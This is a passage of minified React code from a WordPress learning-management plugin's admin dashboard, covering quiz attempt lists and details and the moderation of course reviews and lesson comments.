0:A.attempt_status)?l().createElement(v.N_,{to:Pt.quiz_attempts.edit.replace(":attemptId",null==A?void 0:A.id.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",size:"xs"},(0,E.__)("View","learning-management-system"))):null,l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>b(A.id),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system")))))))};function Qv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function zv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Qv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Qv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const qv=()=>{var e,t,n,r,i,o,m,c,u=yd.isCurrentUserAdmin,[A,p]=(0,a.useState)({}),y=new mt(rt.quizesAttempts),v=(0,Pn.I)({queryKey:["quizAttemptsList",A],queryFn:()=>y.list(A)}),f=((0,vt.zy)(),(0,We.d)()),h=(0,s.jE)(),{onClose:b,onOpen:w,isOpen:C}=(0,Ue.j)(),[x,S]=(0,a.useState)(""),[B,I]=(0,a.useState)([]),[O,P]=(0,a.useState)(),D=(0,wt.n)(zv({mutationFn:e=>y.bulkDelete("delete",{ids:e})},{onSuccess(){h.invalidateQueries({queryKey:["quizAttemptsList"]}),b(),I([]),f({title:(0,E.__)("Quiz attempts Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError(e){var t,n;b(),f({title:(0,E.__)("Failed to delete quiz attempts","learning-management-system"),description:null!=e&&e.message?null==e?void 0:e.message:null!=e&&null!==(t=e.response)&&void 0!==t&&null!==(t=t.data)&&void 0!==t&&t.message?"".concat(null==e||null===(n=e.response)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.message):null,isClosable:!0,status:"error"})}})),_=(0,wt.n)(zv({mutationFn:e=>y.delete(e)},{onSuccess:e=>{Ce(h,["quizAttemptsList",{}],null==e?void 0:e.id),h.invalidateQueries({queryKey:["quizAttemptsList"]}),b(),f({title:(0,E.__)("Quiz attempt deleted","learning-management-system"),status:"success",isClosable:!0})},onError:e=>{var t,n;b(),f({title:(0,E.__)("Failed to delete quiz attempt","learning-management-system"),description:null!=e&&e.message?null==e?void 0:e.message:null!=e&&null!==(t=e.response)&&void 0!==t&&null!==(t=t.data)&&void 0!==t&&t.message?"".concat(null==e||null===(n=e.response)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.message):null,isClosable:!0,status:"error"})}})),k=e=>{P(e),w()};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_attempts.list,_activeLink:on},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Quiz Attempts","learning-management-system")))),l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_reviews.list,_activeLink:on},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Quiz Reviews","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_v,{setFilterParams:p,filterParams:A,isCurrentUserAdmin:u,showUserFilter:!0}),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,null!=v&&v.isLoading?l().createElement(Cd,null):null!=v&&v.isSuccess&&$(null==v||null===(e=v.data)||void 0===e?void 0:e.data)?l().createElement(Mn,{title:(0,E.__)("No Quiz Attempts Yet","learning-management-system"),isResultFiltered:Boolean((null==A?void 0:A.quiz_id)||(null==A?void 0:A.user_id))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,!$(null==v||null===(t=v.data)||void 0===t?void 0:t.data)&&l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:v.isLoading||v.isFetching||v.isRefetching,isIndeterminate:(null==v||null===(n=v.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)!==B.length&&B.length>0,isChecked:(null==v||null===(r=v.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)===B.length,onChange:e=>{var t;return I(e.target.checked?null==v||null===(t=v.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Student Info","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Quiz","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Quiz overview","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Result","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==v||null===(i=v.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.map((e=>l().createElement(kv,{key:null==e?void 0:e.id,data:e,setBulkIds:I,bulkIds:B,isLoading:v.isLoading||v.isFetching||v.isRefetching,onDeletePress:k}))))))))),v.isSuccess&&!$(null==v||null===(o=v.data)||void 0===o?void 0:o.data)&&l().createElement(ba,{metaData:null==v||null===(m=v.data)||void 0===m?void 0:m.meta,setFilterParams:p,perPageText:"Quiz Attempts Per Page:",extraFilterParams:{quiz_id:null==A?void 0:A.quiz_id,user_id:null==A?void 0:A.user_id}})),l().createElement(ta,{trashable:!1,openToast:w,status:"trash",setBulkAction:S,bulkIds:B,setBulkIds:I}),l().createElement(qn,{isOpen:C,onClose:b,confirmButtonColorScheme:"restore"===x?"primary":void 0,onConfirm:""===x?()=>{O&&_.mutate(O)}:()=>{D.mutate(B)},action:"delete",isLoading:""===x?_.isPending:D.isPending,dialogTexts:{default:{header:null!==(c=(0,E.__)("Deleting Quiz Attempt","learning-management-system")+O)&&void 0!==c?c:" #".concat(O),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Quiz Attempts","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};const Fv=()=>l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"120px",noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"120px",noOfLines:4})),l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"120px",noOfLines:4})),l().createElement(_n.Td,null));const jv=()=>l().createElement(l().Fragment,null,[1,2,3].map((e=>l().createElement(_n.Tr,{key:e},l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"50px",noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"80px",noOfLines:2})),l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"80px",noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{width:"20px",noOfLines:1,float:"right"}))))));const Vv=()=>l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"1",align:"center"},l().createElement($e.I,{as:kt.wfp,color:"primary.400"}),l().createElement(g.E,{as:"span",fontWeight:"medium",color:"gray.600",fontSize:"sm"},(0,E.__)("No questions attempt found.","learning-management-system")))),l().createElement(_n.Td,null),l().createElement(_n.Td,null),l().createElement(_n.Td,null));const Lv=e=>{var t,n,a,r,i,o,s,{quizAttemptData:m}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{fontWeight:"semibold",fontSize:"sm"},null==m||null===(t=m.user)||void 0===t?void 0:t.first_name," ",null==m||null===(n=m.user)||void 0===n?void 0:n.last_name),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},null==m||null===(a=m.user)||void 0===a?void 0:a.display_name," (",null==m||null===(r=m.user)||void 0===r?void 0:r.email,")"))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},ie(null==m?void 0:m.attempt_started_at,"m/d/Y, h:i A")),l().createElement(d.B,{direction:"row"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Total Attempts:","learning-management-system")),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},null==m?void 0:m.total_attempts)),l().createElement(d.B,{direction:"row"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Quiz Time:","learning-management-system")),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},(s=null==m||null===(i=m.quiz)||void 0===i?void 0:i.duration,Math.floor(s/60)+" hrs "+s%60+" mins"))),l().createElement(d.B,{direction:"row"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Attempt Time:","learning-management-system")),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},((e,t)=>{e=new Date(e),t=new Date(t);var n=Math.floor((t-e)/1e3),a=Math.floor(n/3600);n-=60*a*60;var l=Math.floor(n/60);return a+" hrs "+l+" min "+(n-=60*l)+" sec"})(null==m?void 0:m.attempt_started_at,null==m?void 0:m.attempt_ended_at))))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(Ze.z,null,!isNaN(parseFloat(null==m?void 0:m.earned_marks))&&(parseFloat(null==m?void 0:m.earned_marks)<(null==m||null===(o=m.quiz)||void 0===o?void 0:o.pass_mark)?l().createElement(Jt.E,{colorScheme:"red"},(0,E.__)("Fail","learning-management-system")):l().createElement(Jt.E,{colorScheme:"green"},(0,E.__)("Pass","learning-management-system"))),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},((e,t)=>{if(!isNaN(e)&&!isNaN(t)){var n=e/t*100;return Math.round(n)+"%"}})(parseFloat(null==m?void 0:m.earned_marks),parseFloat(null==m?void 0:m.total_marks)))),l().createElement(d.B,{direction:"row"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Earned Points:","learning-management-system")),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},null==m?void 0:m.earned_marks," / ",null==m?void 0:m.total_marks)),l().createElement(d.B,{direction:"row"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Correct Answers:","learning-management-system")),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},null==m?void 0:m.total_correct_answers," /"," ",null==m?void 0:m.total_questions)),l().createElement(d.B,{direction:"row"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Attempt Questions:","learning-management-system")),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},null==m?void 0:m.total_answered_questions," /"," ",null==m?void 0:m.total_questions)))),l().createElement(_n.Td,null))};const Mv=e=>{var t,n,{quizAttemptData:a}=e;return l().createElement(d.B,{direction:"column"},l().createElement(g.E,{fontSize:"md",fontWeight:"bold"},null===(t=a.quiz)||void 0===t?void 0:t.name),l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"medium"},(0,E.__)("Course: ","learning-management-system"),null===(n=a.course)||void 0===n?void 0:n.name))};var Rv=n(31386);const Tv=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2,clipRule:"evenodd",viewBox:"0 0 28 28",role:"img"},e),React.createElement("path",{fill:"#ebebeb",d:"M3.593 3.475h21.773v21.371H3.593z"}),React.createElement("path",{fill:"#4dabf7",d:"M28 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v22c0 1.656 1.344 3 3 3h22c1.656 0 3-1.344 3-3zM14.395 9.944l-7.097 7.097-3.065-3.065-1.316 1.316 4.381 4.382 8.413-8.413 2.712 2.712-4.028 4.028 1.343 1.343 4.028-4.028 4.03 4.028 1.342-1.343-4.028-4.028 4.028-4.029-1.342-1.342-4.03 4.028-4.028-4.028z"}));const Uv=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2,clipRule:"evenodd",viewBox:"0 0 28 28",role:"img"},e),React.createElement("path",{fill:"#ebebeb",d:"M3.593 3.475h21.773v21.371H3.593z"}),React.createElement("path",{fill:"#ffc844",d:"M28 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v22c0 1.656 1.344 3 3 3h22c1.656 0 3-1.344 3-3zM11.625 17.548l-3.576-3.576-1.535 1.536 5.111 5.111 10.542-10.541-1.536-1.536z"}));const Wv=e=>{var{answersData:t}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,{style:{marginTop:"5px"}},l().createElement(d.B,{direction:"row",alignItems:"center",maxW:{base:"auto",md:"200px",lg:"500px"}},l().createElement($n.m,{label:null==t?void 0:t.type},l().createElement("span",null,l().createElement($e.I,{mt:.5,fontSize:"xl",as:(e=>{switch(e){case"true-false":return Tv;case"multiple-choice":return vi;case"single-choice":return Uv;default:return kt.wfp}})(null==t?void 0:t.type)}))),l().createElement(Rv.A,null,l().createElement(g.E,{className:"parsed-quiz-question-name",wordBreak:"break-word",dangerouslySetInnerHTML:{__html:null==t?void 0:t.question},fontSize:"sm"})))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(d.B,{direction:"row",align:"center"},l().createElement(g.E,{color:"gray.600",fontSize:"sm",fontWeight:"semibold"},(0,E.__)("Correct","learning-management-system"),":"),l().createElement(Rv.A,null,l().createElement(g.E,{fontSize:"sm",fontWeight:"normal",wordBreak:"break-word"},"multiple-choice"===(null==t?void 0:t.type)?null==t?void 0:t.correct_answer.join(", "):null==t?void 0:t.correct_answer))),l().createElement(d.B,{direction:"row",align:"center"},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold"},"Given:"),l().createElement(Rv.A,null,l().createElement(g.E,{fontSize:"sm",fontWeight:"normal",wordBreak:"break-word"},"multiple-choice"===(null==t?void 0:t.type)?null==t?void 0:t.answered.join(", "):null==t?void 0:t.answered))))),l().createElement(_n.Td,null,l().createElement(Ze.z,null,l().createElement(Jt.E,{w:"fit-content",colorScheme:null!=t&&t.correct?"green":"red"},l().createElement(g.E,{fontSize:"xs"},null!=t&&t.correct?"Correct":"Incorrect")))),l().createElement(_n.Td,null,l().createElement(g.E,{color:"gray.600",fontSize:"xs",fontWeight:"bold"},null!=t&&t.correct?null==t?void 0:t.points:0)))};const Kv=()=>{var e,t,{attemptId:n}=(0,vt.g)(),r=(0,vt.Zp)(),i=new mt(rt.quizesAttempts),o=(0,Pn.I)({queryKey:["quizAttempt".concat(n),n],queryFn:()=>i.get(n)});return(0,a.useEffect)((()=>{null!=o&&o.isError&&r(Pt.notFound)}),[null==o?void 0:o.isError,r]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_attempts.list,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Quiz Details","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.quiz_attempts.list},l().createElement(Dl,null)))),o.isSuccess?l().createElement(Mv,{quizAttemptData:null==o?void 0:o.data}):l().createElement(d.B,{direction:"column",spacing:"5"},l().createElement(St.E,{height:"22px",width:"60px"}),l().createElement(Ba.r,{noOfLines:1,width:"65px"})),l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("Student Info","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Quiz Summary","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Result","learning-management-system")),l().createElement(_n.Th,null))),l().createElement(_n.NN,null,o.isSuccess?l().createElement(Lv,{quizAttemptData:null==o?void 0:o.data}):l().createElement(Fv,null))))),l().createElement(d.B,null,l().createElement(g.E,{fontSize:"md",fontWeight:"bold"},(0,E.__)("Quiz Overview","learning-management-system"))),l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("Question","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Answer","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Result","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Points","learning-management-system")))),l().createElement(_n.NN,null,o.isSuccess?$(null==o||null===(e=o.data)||void 0===e?void 0:e.answers)?l().createElement(Vv,null):Object.keys(null==o||null===(t=o.data)||void 0===t?void 0:t.answers).map((e=>{var t;return l().createElement(Wv,{answersData:null==o||null===(t=o.data)||void 0===t||null===(t=t.answers)||void 0===t?void 0:t[e],key:e})})):l().createElement(jv,null))))))))};const Nv=e=>{var t,n,{filterParams:a,setFilterParams:r,reviewType:i,setReviewType:o}=e,s=new mt(rt.courses),m=new mt(rt.users),[c]=(0,v.ok)(),u=c.get("status")||"all",d=c.get("reviewType")||"course",g=(0,vt.Zp)(),A=(0,vt.zy)(),p=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>s.list({order_by:"name",order:"asc",per_page:5})}),y=(0,Pn.I)({queryKey:["userList"],queryFn:()=>m.list({order_by:"name",order:"asc",per_page:5})}),{handleSubmit:f,register:h,setValue:b}=(0,Je.mN)(),w=(0,wr.z)({onTypeFinish:e=>{r({parent:0,user:a.user,course:a.course,search:e,status:u})}},800),C=e=>{r(ne(ee(e,{search:a.search,parent:0,status:u})))};return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:f(C)},l().createElement(br.x,{gridTemplateColumns:{md:"course"===d?"repeat(4, 1fr)":"repeat(3, 1fr)"},gap:"4"},l().createElement(Co,{onChange:e=>{f(C)(),o(null==e?void 0:e.value.toString());var t=new URLSearchParams(A.search);t.set("reviewType",null==e?void 0:e.value.toString()),g("".concat(A.pathname,"?").concat(t.toString()),{replace:!0})},value:"lesson"===d?{value:"lesson",label:"Lesson Comments"}:{value:"course",label:"Course Reviews"},styles:dn,cacheOptions:!0,defaultOptions:[{value:"course",label:"Course Reviews"},{value:"lesson",label:"Lesson Comments"}]}),l().createElement(Ma.p,(0,Re.A)({placeholder:"course"===d?(0,E.__)("Search reviews","learning-management-system"):(0,E.__)("Search Comment","learning-management-system")},w,{height:"40px"})),"course"===d&&l().createElement(Co,(0,Re.A)({},h("course"),{onChange:e=>{b("course",null==e?void 0:e.value.toString(),{shouldDirty:!0}),f(C)()},placeholder:(0,E.__)("Filter by Course","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):p.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:p.isSuccess?null==p||null===(t=p.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:e.id,label:"(#".concat(e.id," - ").concat(e.name,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);s.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(Co,(0,Re.A)({},h("user"),{onChange:e=>{b("user",null==e?void 0:e.value.toString(),{shouldDirty:!0}),f(C)()},placeholder:(0,E.__)("Filter by Author","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching author...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Author not found.","learning-management-system"):y.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:y.isSuccess?null==y||null===(n=y.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.username," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.email,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);m.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};const Gv=e=>{var t,{id:n,title:a,status:r,author:i,course:o,rating:s,replies_count:m,isNew:c,createdAt:u,onDeletePress:A,onTrashPress:y,onRestorePress:f,onSpamPress:h,onUnSpamPress:b,setBulkIds:w,bulkIds:C,isLoading:x,reviewType:S,description:B=""}=e,I=(0,vt.Zp)(),O=r===aA.approve?{color:"green",text:"Approved"}:r===aA.hold?{color:"orange",text:"On Hold"}:r===aA.spam?{color:"pink",text:"Spam"}:{color:"red",text:"Trash"},P=Pt.reviews.edit.replace(":reviewId",n.toString());return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:x,isChecked:C.includes(n.toString()),onChange:e=>w(e.target.checked?[...C,n.toString()]:C.filter((e=>e!==n.toString())))})),l().createElement(_n.Td,null,r===aA.trash?l().createElement(g.E,{fontWeight:"semibold",whiteSpace:"pre-line",noOfLines:1},Be("course"===S?a:B)):l().createElement(je.N,{as:v.N_,to:"".concat(P,"?reviewType=").concat(S),fontWeight:"semibold",_hover:{color:"primary.500"},whiteSpace:"pre-line",noOfLines:1},Be("course"===S?a:B),c&&r===aA.hold&&l().createElement($n.m,{label:(0,E.__)("Review Pending Approval.","learning-management-system"),hasArrow:!0,fontSize:"sm",placement:"top"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement($e.I,{boxSize:"3",as:Le.q53,color:"green"})))),"course"===S&&(e=>{for(var t=Number(e),n=[],a=1;a<=5;a++)a<=t?n.push(l().createElement($e.I,{key:a,as:Fn.KQV})):n.push(l().createElement($e.I,{key:a,as:Fn.aJd}));return l().createElement(d.B,{direction:"row",spacing:"0",color:"orange.300"},n)})(s)),"lesson"===S&&l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},o)),l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},"course"===S?o:null!=e&&e.lesson?null==e||null===(t=e.lesson)||void 0===t?void 0:t.name:null)),l().createElement(_n.Td,null,l().createElement(Jt.E,{colorScheme:O.color},O.text.toUpperCase())),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center"},l().createElement(Oa.e,{size:"xs",src:i.avatar_url}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},null==i?void 0:i.display_name))),l().createElement(_n.Td,null,l().createElement(v.N_,{to:{pathname:P,search:"?page=replies"}},m)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(u,"m/d/Y, h:i A")))),l().createElement(_n.Td,null,r===aA.trash?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:f,icon:l().createElement(kt.Nyy,null)},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:A,icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"})},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.reviews.edit.replace(":reviewId",n.toString())+"?reviewType=".concat(S)},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>I({pathname:P,search:"?page=replies"}),icon:l().createElement(kt.LhG,null)},(0,E.__)("View Replies","learning-management-system")),r!==aA.spam?l().createElement(Kn.D,{onClick:h,icon:l().createElement(or.g7r,null)},(0,E.__)("Mark Spam","learning-management-system")):l().createElement(Kn.D,{onClick:b,icon:l().createElement(yv.jF3,null)},(0,E.__)("Mark Unspam","learning-management-system")),l().createElement(Kn.D,{onClick:y,icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system")))))))};function Hv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Jv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Hv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Hv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Xv=()=>{var e,t,n,r,i,o,m,c,u,g,A,p,y,v,f=new mt(rt.reviews),h=new mt(rt.lessonReviews),b=(0,We.d)(),[w,C]=(0,a.useState)({parent:0}),[x,S]=(0,a.useState)(),[B,I]=(0,a.useState)("all"),[O,P]=(0,a.useState)({all:void 0,approve:void 0,hold:void 0,spam:void 0,trash:void 0}),[D,_]=(0,a.useState)(""),[k,Q]=(0,a.useState)([]),[z,q]=(0,a.useState)("course"),F="course"===z?f:h,j=(0,s.jE)(),{onClose:V,onOpen:L,isOpen:M}=(0,Ue.j)(),R=(0,vt.zy)(),T=null!==(e=new URLSearchParams(R.search).get("reviewType"))&&void 0!==e?e:"course";(0,a.useLayoutEffect)((()=>q(T)),[T]);var U=[{status:"all",name:"course"===z||""===z?(0,E.__)("All Reviews","learning-management-system"):(0,E.__)("All Comments","learning-management-system")},{status:aA.approve,name:(0,E.__)("Approved","learning-management-system")},{status:aA.hold,name:(0,E.__)("On Hold","learning-management-system")},{status:aA.spam,name:(0,E.__)("Spam","learning-management-system")},{status:aA.trash,name:(0,E.__)("Trash","learning-management-system")}],W=(0,Pn.I)({queryKey:"course"===z?["reviewCourseList",w]:["reviewLessonList",w],queryFn:()=>F.list(w)});(0,a.useEffect)((()=>{var e,t,n,a,l,r;null!=W&&W.isSuccess&&(P({all:null==W||null===(e=W.data)||void 0===e||null===(e=e.meta)||void 0===e||null===(e=e.reviews_count)||void 0===e?void 0:e.all,approve:null==W||null===(t=W.data)||void 0===t||null===(t=t.meta)||void 0===t||null===(t=t.reviews_count)||void 0===t?void 0:t.approve,hold:null==W||null===(n=W.data)||void 0===n||null===(n=n.meta)||void 0===n||null===(n=n.reviews_count)||void 0===n?void 0:n.hold,spam:null==W||null===(a=W.data)||void 0===a||null===(a=a.meta)||void 0===a||null===(a=a.reviews_count)||void 0===a?void 0:a.spam,trash:null==W||null===(l=W.data)||void 0===l||null===(l=l.meta)||void 0===l||null===(l=l.reviews_count)||void 0===l?void 0:l.trash}),be("masteriyo-reviews-and-comments-moderation-count",(null==W||null===(r=W.data)||void 0===r||null===(r=r.meta)||void 0===r?void 0:r.pending_hold_count)||0))}),[null==W?void 0:W.data,null==W?void 0:W.isSuccess]);var K=(0,wt.n)(Jv({mutationFn:e=>F.delete(e,{force_delete:!0,children:!0})},{onSuccess:()=>{j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),b({title:"course"===z?(0,E.__)("Course review deleted successfully!","learning-management-system"):(0,E.__)("Lesson comment deleted successfully!","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),N=(0,wt.n)(Jv({mutationFn:e=>F.delete(e)},{onSuccess:()=>{j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),b({title:(0,E.__)("course"===z?"Review Trashed":"Lesson Comment Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went 